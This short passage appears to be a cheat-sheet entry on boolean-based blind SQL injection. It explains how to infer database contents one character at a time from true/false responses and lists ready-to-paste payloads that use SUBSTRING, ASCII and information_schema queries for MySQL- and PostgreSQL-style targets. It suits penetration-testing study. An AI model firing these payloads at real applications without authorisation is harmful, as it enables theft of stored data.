No output or errors visible. Application responds differently (content, status code, redirect) for true vs false conditions. Extract data character by character.
' AND SUBSTRING(database(),1,1)='a'-- -' AND SUBSTRING(database(),1,1)='b'-- -...' AND SUBSTRING(database(),1,1)='t'-- - → TRUE (first char is 't')' AND SUBSTRING(database(),2,1)='e'-- - → TRUE (second char is 'e')
' AND SUBSTRING((SELECT current_database()),1,1)='p'-- -' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1),1,1))>100-- -